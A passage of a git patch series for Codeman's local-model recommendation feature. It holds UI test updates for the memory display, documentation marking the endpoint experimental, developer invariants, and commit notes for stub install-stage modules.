download needs about 0.4 GB more free disk space.', + 'Not yet tested by us on a Mac like this.', + ]); + expect(texts(root, '.local-model-next')).toEqual([NEXT_STEP]); + } + }); + it('prints every size exactly as sent, in one unit', async () => { const { newApp, card, row } = mount(); await newApp(ok(OK_STATUS)).loadLocalModel(); for (const root of [card, row]) { const text = root.textContent ?? ''; expect(text).not.toMatch(/GiB|MiB|\bMB\b|bytes/); - // Every number in front of the unit is one the payload carries as text. + // Every number in front of the unit is one the payload carries: as text for the computed + // sizes, and `memClassGb` (48) for the installed memory. const printed = [...text.matchAll(/([\d.,]+) GB/g)].map((m) => m[1]); - const sent = ['51.5', '912', '37.6', '29.6', '17.7', '26.4', '22.6', '36.4', '30.0']; + const sent = ['48', '912', '37.6', '29.6', '17.7', '26.4', '22.6', '36.4', '30.0']; expect(printed.length).toBeGreaterThanOrEqual(sent.length); expect(printed.filter((value) => !sent.includes(value))).toEqual([]); + // The decimal figure of the installed memory (`memGb`) is on neither surface. + expect(text).not.toContain('51.5'); } }); @@ -546,10 +755,18 @@ describe('verdict ok', () => { it('describes the hardware with whatever parts the probe got', async () => { const { newApp, card } = mount(); const cases: Array<[Partial, string]> = [ - [{ freeDiskBytes: undefined, freeDiskGb: undefined }, 'Apple M5 Pro, 51.5 GB memory'], - [{ chip: undefined }, 'Mac17,13, 51.5 GB memory, 912 GB free'], - [{ chip: undefined, model: undefined }, '51.5 GB memory, 912 GB free'], - [{ chip: undefined, model: undefined, freeDiskBytes: undefined, freeDiskGb: undefined }, '51.5 GB memory'], + [{ freeDiskBytes: undefined, freeDiskGb: undefined }, 'Apple M5 Pro, 48 GB memory'], + [{ chip: undefined }, 'Mac17,13, 48 GB memory, 912 GB free'], + [{ chip: undefined, model: undefined }, '48 GB memory, 912 GB free'], + [{ chip: undefined, model: undefined, freeDiskBytes: undefined, freeDiskGb: undefined }, '48 GB memory'], + // The sizes Macs are sold in, as sold. + [{ memGb: '17.2', memClassGb: 16 }, 'Apple M5 Pro, 16 GB memory, 912 GB free'], + [{ memGb: '34.4', memClassGb: 32 }, 'Apple M5 Pro, 32 GB memory, 912 GB free'], + [{ memGb: '137', memClassGb: 128 }, 'Apple M5 Pro, 128 GB memory, 912 GB free'], + // An unknown size is left out, whatever else the payload carries for it. + [{ memGb: '0.0', memClassGb: 0 }, 'Apple M5 Pro'], + [{ memClassGb: undefined as unknown as number }, 'Apple M5 Pro'], + [{ memClassGb: '48' as unknown as number }, 'Apple M5 Pro'], ]; for (const [hardware, line] of cases) { await newApp(ok(status({ pick: candidate() }, hardware))).loadLocalModel(); @@ -567,7 +784,7 @@ describe('verdict limited', () => { expect(texts(root, '.local-model-headline')).toEqual([ 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.', ]); - expect(texts(root, '.local-model-hw')).toEqual(['Apple M4, 19.3 GB memory, 912 GB free']); + expect(texts(root, '.local-model-hw')).toEqual(['Apple M4, 18 GB memory, 912 GB free']); expect(texts(root, '.local-model-name')).toEqual(['Qwen3.5 9B (qwen3.5:9b) with OpenCode']); expect(texts(root, '.local-model-pill')).toEqual(['Tight']); expect(texts(root, '.local-model-pick .local-model-line')).toEqual([ @@ -633,7 +850,8 @@ describe('payload text is text', () => { for (const root of [card, row]) { expect(root.querySelector('img')).toBeNull(); expect(root.querySelector('script, iframe, a, [onerror]')).toBeNull(); - expect(texts(root, '.local-model-hw')[0]).toBe(`${EVIL}, ${EVIL} GB memory, ${EVIL} GB free`); + // The memory is a number or nothing: text in its place (`memGb` here) is never printed. + expect(texts(root, '.local-model-hw')[0]).toBe(`${EVIL}, 48 GB memory, ${EVIL} GB free`); expect(texts(root, '.local-model-headline')[0]).toBe( `This Mac runs macOS ${EVIL}. Local models need macOS ${EVIL} or newer.` ); @@ -768,10 +986,13 @@ describe('with the real translator', () => { const app = newApp(ok(OK_STATUS)); await app.loadLocalModel(); expect(texts(card, '.local-model-headline')).toEqual(['最适合此 Mac 的选择']); - expect(texts(card, '.local-model-pill')).toEqual(['良好', '速度未知', '良好', '紧张', '较慢']); + expect(texts(card, '.local-model-pill')).toEqual(['良好', '速度未知', '良好', '偏紧', '较慢']); + expect((card.querySelector('.local-model-pill') as HTMLElement).title).toBe( + '内存占用:需要此 Mac 可分配给模型的内存的 79%' + ); // Names and numbers ride the slots untouched. expect(texts(card, '.local-model-name')[0]).toBe('Qwen3.8 27B(qwen3.8:27b),搭配 OpenCode'); - expect(texts(row, '.local-model-hw')).toEqual(['Apple M5 Pro,内存 51.5 GB,可用磁盘空间 912 GB']); + expect(texts(row, '.local-model-hw')).toEqual(['Apple M5 Pro,内存 48 GB,可用磁盘空间 912 GB']); // Both containers are data-i18n-skip, so the module itself must repaint. i18n.configure({ language: 'en' }); @@ -782,7 +1003,7 @@ describe('with the real translator', () => { i18n.configure({ displayName: 'Acme' }); await settle(); expect(texts(card, '.local-model-next')).toEqual([ - 'Setting this up from Acme is the next step. It is not built yet.', + 'Acme cannot download or install this for you yet. That is the next step, and it is not built yet.', ]); }); From 66ca92f7cf37197717cbf59e0cb0a7946ff3d06f Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 17:38:12 +0100 Subject: [PATCH 08/28] docs(local-model): label the route experimental and write down the rules - docs/api-reference.md: GET /api/local-model is labeled experimental until the step that sets a model up ships, so its payload is not a stable /api/v1 contract one stage before that step changes it. The section now describes the verdict as judged, the three sentences of the memory reason, the notes, the speed rounding and which size to show as the installed memory. The os-fallback description was wrong: the free disk space is reported there too. - docs/versioning-policy.md: the route is listed under the experimental surfaces. - docs/wiki/Settings-Reference.md: App Settings > Models > Model on this Mac, in the words of a user. - CLAUDE.md and src/web/CLAUDE.md: the invariants the code relies on (read-only, the probe, harness rows as data, the meaning of limited, the word Recommended, one unit, labels from the payload, when the card and the group show). Co-Authored-By: Claude Fable 5.1 --- CLAUDE.md | 2 ++ docs/api-reference.md | 18 ++++++++++-------- docs/versioning-policy.md | 13 +++++++++++++ docs/wiki/Settings-Reference.md | 14 ++++++++++++++ src/web/CLAUDE.md | 2 ++ src/web/routes/local-model-routes.ts | 5 +++++ 6 files changed, 46 insertions(+), 8 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index f729ae40..496d72b8 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -191,6 +191,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph ⚠️ **llama-swap endpoints** (one model at a time): the apply routes check `GET /running` and return `requiresConfirmation` before evicting a model another live session uses; `confirmedSwap` and `confirmedContext` are SEPARATE flags and must stay so. Claude alone gets a context floor (`CLAUDE_MIN_SAFE_CONTEXT_TOKENS`); context is parsed from `/running`'s `cmd`, never trusted from `/props`. The floor also divides that context by the model's parallel slot count (`modelSlotCounts`: `--parallel`/`-np` from `cmd`, else `/props` `total_slots`; `perSlotContext()`), and `/props` only ever RAISES that warning: it supplies the context only when `cmd` states none and the count only when `cmd` has no `--parallel`, never a larger pool. `/props` is probed once per launch command (it refreshes llama-swap's last-use time, so a `ttl` would never expire), and a `/props` context beside an explicit `--parallel N` is already per slot, so it is not divided again. Backend log lines come from llama-swap's `/api/events` `upstream` source, never `/logs`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles) +**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL, read-only stage): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ **Read-only**: it downloads nothing, installs nothing, writes no file and adds no settings key; the install flow is a later stage and nothing here may grow a write before it. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested` and is sent only when the pick's model has a `tested` entry for exactly this chip, memory size and harness; no row has one today. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Card rules: `src/web/CLAUDE.md` (Model on this Mac). → `docs/api-reference.md` (Local model recommendation), `docs/versioning-policy.md` + **MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md` **Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `: ` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) and a Discord reply (`DiscordBridge.onGatewayMessage`, through the bridge's `sendInput`) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title) diff --git a/docs/api-reference.md b/docs/api-reference.md index 756631ff..b0464ac8 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -1680,6 +1680,8 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre `GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, and with which agent CLI. It covers Apple silicon macOS only; anywhere else the answer is still a `200`, with verdict `none`. **Read-only:** the route downloads nothing, installs nothing, writes no file and reads or changes no setting (setting a model up from Codeman is a later step and is not built yet). It names the host's hardware, so it is admin only in multi-user mode (`403`, answered before anything is probed). The models, their sizes and the agent CLIs it considers are a catalogue compiled into the release; there is no override file. +**Experimental.** This endpoint and its payload are labeled experimental until the step that sets a model up ships: that step will add to and may change the fields below, the verdicts and the sentences, in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on its shape yet. + | Method | Path | Body | Notes | | ------ | ------------------ | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated }`. `403 FORBIDDEN` for a non-admin in multi-user mode. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. | @@ -1690,24 +1692,24 @@ A probe that fails is an answer, not an error: a server that is not on macOS, or - `hardware`: what the server sees of the machine it runs on. - `platform`, `arch`: `process.platform` and `os.arch()` of the server process. `arm64: true` means the machine is Apple silicon whatever `arch` says; `translated: true` means the server process runs under Rosetta. - - `memBytes`, `memGb` (decimal GB text) and `memClassGb` (the memory size the Mac is sold as: 16, 32, 48). + - `memBytes`, `memGb` (the bytes as decimal GB text, `"51.5"` for a 48 GB Mac) and `memClassGb` (the memory size the Mac is sold as: 16, 32, 48; `0` when the size could not be read). `memClassGb` is what to show as the installed memory: it is the number on the box and in About This Mac. It is the one size here that is not decimal GB. - `chip`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb` (`0` means not set), `freeDiskBytes` and `freeDiskGb` (free space on the filesystem of Codeman's data directory). Each is absent when it could not be read. - - `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed, so only memory, architecture and the chip name are known) or `not-probed` (not macOS, nothing was run). + - `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed: memory, architecture, the chip name and the free disk space come from Node, and nothing only `sysctl` knows, such as `arm64`, `translated`, `model`, `macosVersion`, `macosMajor` or `wiredLimitMb`, is present) or `not-probed` (not macOS, nothing was run). - `recommendation`: - - `verdict`: `ok`, `limited` (the best model that fits has fewer than 12 billion parameters: it handles small edits and questions and does not replace a cloud model) or `none`. - - `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). - - `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. - - `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI: + - `verdict`: `ok`, `limited` or `none`. `limited` is a statement about the Mac: no model with 12 billion parameters or more fits its memory, so what it can run handles small edits and questions and does not replace a cloud model. It is judged on every model that fits, before the free disk space is looked at and whatever the pick is. With `ok` the pick can still be a small model (a larger one may fit only tightly, have no speed figure or have no room on the disk); `notes` then says so. + - `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). `memory` has three sentences: nothing fits at all (slot `memory`, the size the Mac is sold as), a model fits but only below the context length an agent CLI needs (slots `budget` and `need`, so a Mac that misses by a little reads as that), and the memory size could not be read (no slot). + - `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. Notes, in order: the pick is a small model although larger ones fit (verdict `ok` only); a model that fits the memory was left out because its download would not leave 10 GiB free on the disk (slots `model` and `missing`: the best-ranked such model and the GB to free up); nobody tested the pick on a Mac like this one. + - `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI. A model whose download would leave less than 10 GiB free on the disk is not listed (an unknown free disk space excludes nothing): - `modelId` (`name:tag`), `modelLabel`, `license`, `paramsB` (parameters in billions), `context` (tokens); - `cli`, `cliLabel`, `cliInstalled` (`false`: the CLI is not on this machine yet but can be installed without administrator rights), `slowFirstTurn?`; - `needBytes` and `needGb` (memory the model needs at that context), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals); - `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`; - - `speed`: `ok`, `slow` or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (absent for `unknown`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed; + - `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed; - `tested`: we ran this model with this CLI on a Mac like this one. No catalogue row has such an entry yet, so it is `false` today. - `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `wired-limit` (taken from `iogpu.wired_limit_mb`) or `estimated` (computed from the installed memory). - `catalogUpdated`: ISO date on which the catalogue's rows were last checked. -Every size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. +Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`. ## Voice dictation diff --git a/docs/versioning-policy.md b/docs/versioning-policy.md index d049ae5f..ed6dd809 100644 --- a/docs/versioning-policy.md +++ b/docs/versioning-policy.md @@ -86,6 +86,19 @@ covered like any other stable behavior. Other agent commands and API routes keep their existing guarantees. Promotion to stable requires an explicit documented decision. +### Experimental local model recommendation + +`GET /api/v1/local-model` (and its `/api` alias) is labeled experimental, so item 3 +above applies to it: its path, its payload (the hardware facts, the verdicts and +reasons, the candidate fields and the English sentences in `headline` and +`notes`) and its behavior may change or be removed in a MINOR or PATCH release. +It is read-only today: it looks at the Mac the server runs on and says which +local model fits. The step that sets a model up from Codeman is not built yet +and will change what the route reports, which is why the shape is not promised. +It is not behind a setting (it writes nothing and adds no settings key); it is +admin only in multi-user mode. Promotion to stable requires an explicit +documented decision. + ## Deprecation policy When we need to change a covered surface: diff --git a/docs/wiki/Settings-Reference.md b/docs/wiki/Settings-Reference.md index 81ac6650..0ffcdf52 100644 --- a/docs/wiki/Settings-Reference.md +++ b/docs/wiki/Settings-Reference.md @@ -193,6 +193,20 @@ attached. section to the Run dropdown, for pointing a harness at your own OpenAI-compatible server instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-Endpoints). +**Model on this Mac** is not a setting: it is a read-only answer. When the Codeman server +runs on a Mac with Apple silicon, it shows that Mac's chip, memory and free disk space, the +local coding model that fits it best with the agent CLI to run it, what the model needs of +the memory the Mac can give one, its download size and an estimated speed, and the other +models that fit (Good or Tight for the memory, Slow or Speed unknown for the speed). A Mac +that can only run a model under 12 billion parameters is told so in plain words, and a Mac +with too little memory, too little free disk space or an Intel processor is told why nothing +is offered. The numbers are estimates from a catalogue that ships with each release; nothing +has been tested on your Mac. **Nothing is downloaded or installed from here yet**: setting +the model up from Codeman is the next step and is not built. The same answer appears as a +card on the welcome screen, which you can hide per device (it stays here). The group is not +shown when the server runs on Linux or Windows, and in multi-user mode only an admin sees +it. The "Mac" is always the machine the server runs on, not the device you are reading on. + ### Agents & CLIs | Setting | Notes | diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index 409274d5..2f29a211 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,6 +48,8 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). +**Model on this Mac** (`local-model-ui.js`; welcome card `#localModelCard` + App Settings > Models group `#localModelGroup`; server rules in the root CLAUDE.md, Local model recommendation): a READ-ONLY view of `GET /api/local-model`. ONE builder (`localModelBody`) paints both containers, so the card and the Settings row can never name a different pick; the card folds the alternatives, Settings lists them. ⚠️ Every dynamic string goes in through `textContent` (model, harness and chip names are someone else's text), both containers carry `data-i18n-skip`, and the module translates its own sentences at render time, so a language or display-name change must repaint from the module (the `<html lang>` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or harnesses, never compares a CLI id, and never contains the word "Recommended" (that headline is the server's to send). ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, and the only non-literal calls are the two payload ones. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never divided here; the installed memory alone is `memClassGb`, a number or nothing (an unknown size is left out, never `0 GB`). ⚠️ The card ships `hidden` and shows only once the server answered for a Mac; the card AND the Settings group stay hidden for `not-macos` (the server is usually Linux, and "this Mac" always means the machine the server runs on), for a refusal and while the first request is in flight; a failed first request shows one sentence in Settings only. ⚠️ Refused means `403` with `errorCode: FORBIDDEN` (a non-admin in multi-user mode: stop asking); the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request that is asked again on `codeman:me`. ⚠️ Each fit and speed pill carries what it measures as `title` + `aria-label` ("Good" is the memory fit, not a rating), and the line saying Codeman cannot download or install yet sits right under the pick and its notes, in `--text-dim` like every other line. The dismissal is a per-device localStorage key named for this stage (`codeman:local-model-dismissed:readonly`), never a server setting: the stage that can set a model up takes a new key so its offer shows once more. At most one request a minute (the server caches its probe for 60 s), shared while in flight, and a failed refresh keeps the answer on screen. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`. + **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) **Welcome "Resume Conversation" list** (terminal-ui.js): `loadHistorySessions()` fetches once and caches the corpus on `_historyAll`/`_historyCases`; every subsequent view (filter box, sort select, expand, the periodic refresh in panels-ui.js) goes through `_renderHistoryList()`, so never append rows to `#historyList` directly or re-fetch to re-sort. ⚠️ The box height is **class-driven**: expanding the list without `.history-list.expanded` leaves the collapsed `max-height` in place and just deepens a scroll well, which is the bug #260 reported (35 sessions in a ~4-row box). ⚠️ The A–Z sort keys off `_historyRowLabel()`, the SAME string the row renders (`name || firstPrompt || path`), most rows are transcript-backed and have no session name, so sorting on `name` alone silently does nothing. ⚠️ A filter implies expansion, and `_renderSearch()` hides `#historyHeader` (title + controls) as one unit while a search is active. Tests: `test/history-list-controls.test.ts`. diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts index f4f0346b..12b3cc4a 100644 --- a/src/web/routes/local-model-routes.ts +++ b/src/web/routes/local-model-routes.ts @@ -6,6 +6,11 @@ * `{ hardware, recommendation, catalogUpdated }`. Nothing is reformatted here: every size text * and every sentence in the payload was chosen by the modules that produced it. * + * EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model recommendation"): the + * route and its payload are outside the stable `/api/v1` contract until the stage that sets a + * model up ships, because that stage will change what the fields mean. docs/api-reference.md + * says so in its section; keep the two in step, and drop both labels together. + * * Rules: * - Read-only. It downloads nothing, installs nothing, writes no file and reads no setting. * - A failed probe is an answer, never a 500. `readHardware()` reports a spawn that failed From 771072c36b205e5d055cfebd2b889bb6ccf4944f Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 20:05:15 +0100 Subject: [PATCH 09/28] feat(local-model): contract for the install stage (types, stubs, fake runtime) The types, the module skeletons and the test fake that let the runtime, the install job and the window be built at the same time. Types: - src/types/local-model-install.ts (new): the runtime pin, the install states, steps and error codes with one sentence and one next step each, the progress, the `install` object of GET /api/local-model, the bodies and 409 answers of the install verbs, the state file. `LocalModelStatus` moves here; `install` is optional until the route emits it. - src/types/local-model.ts: the catalogue row's Mac memory figures, the measured speed of a tested entry, the `measured` budget source, `RecommendOptions`, and the row tag, the coding agents and the install total of a candidate. All optional until the catalogue and `recommend()` carry them, so the read-only stage keeps compiling and its tests stay green. Modules with final signatures and bodies that throw: runtime.ts (the compiled pin is final), ollama-client.ts, developer-tools.ts, state-store.ts, install-job.ts (the state, step and transition tables are final), connect.ts, custom-model-hosts-writer.ts, cli-install-runner.ts. Nothing imports them yet, so the server is unchanged. Implemented: paths.ts (every folder of the feature, from dataPath()), and `modelFitsBudget()` in recommend.ts, the judgement the job makes with the measured budget before it downloads a model. `recommend()` takes the options parameter and does not read it yet. Test fake: test/fixtures/fake-ollama.ts, a runtime on a port the system picks, in the shapes measured on a Mac: version, tags, ps, the pull stream (MLX and GGUF lines, an error line, a cut stream, a resumed pull), chat with and without a tool call, the model list, a runtime archive with Range support, and a fake child process that logs the device total. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/cli-install-runner.ts | 110 ++++ src/custom-model-hosts-writer.ts | 72 +++ src/local-model/connect.ts | 124 ++++ src/local-model/developer-tools.ts | 42 ++ src/local-model/install-job.ts | 497 ++++++++++++++++ src/local-model/ollama-client.ts | 275 +++++++++ src/local-model/paths.ts | 87 +++ src/local-model/recommend.ts | 32 +- src/local-model/runtime.ts | 308 ++++++++++ src/local-model/state-store.ts | 57 ++ src/types/index.ts | 4 +- src/types/local-model-install.ts | 582 +++++++++++++++++++ src/types/local-model.ts | 205 ++++++- test/fixtures/fake-ollama.ts | 810 +++++++++++++++++++++++++++ test/local-model-fake-ollama.test.ts | 428 ++++++++++++++ test/local-model-fits-budget.test.ts | 90 +++ test/local-model-paths.test.ts | 70 +++ 17 files changed, 3770 insertions(+), 23 deletions(-) create mode 100644 src/cli-install-runner.ts create mode 100644 src/custom-model-hosts-writer.ts create mode 100644 src/local-model/connect.ts create mode 100644 src/local-model/developer-tools.ts create mode 100644 src/local-model/install-job.ts create mode 100644 src/local-model/ollama-client.ts create mode 100644 src/local-model/paths.ts create mode 100644 src/local-model/runtime.ts create mode 100644 src/local-model/state-store.ts create mode 100644 src/types/local-model-install.ts create mode 100644 test/fixtures/fake-ollama.ts create mode 100644 test/local-model-fake-ollama.test.ts create mode 100644 test/local-model-fits-budget.test.ts create mode 100644 test/local-model-paths.test.ts diff --git a/src/cli-install-runner.ts b/src/cli-install-runner.ts new file mode 100644 index 00000000..99d3a1a4 --- /dev/null +++ b/src/cli-install-runner.ts @@ -0,0 +1,110 @@ +/** + * @fileoverview The shared runner of a STOCK CLI's install command: the one place Codeman + * executes an install one-liner, used by `POST /api/clis/:id/install` + * (src/web/routes/cli-registry-routes.ts) and by the local model install job. + * + * CONTRACT STAGE: `CLI_INSTALL_TIMEOUT_MS` is final. Every function below has its final + * signature and a body that throws. The bodies are MOVED here from cli-registry-routes.ts + * next, and that route keeps its behaviour byte 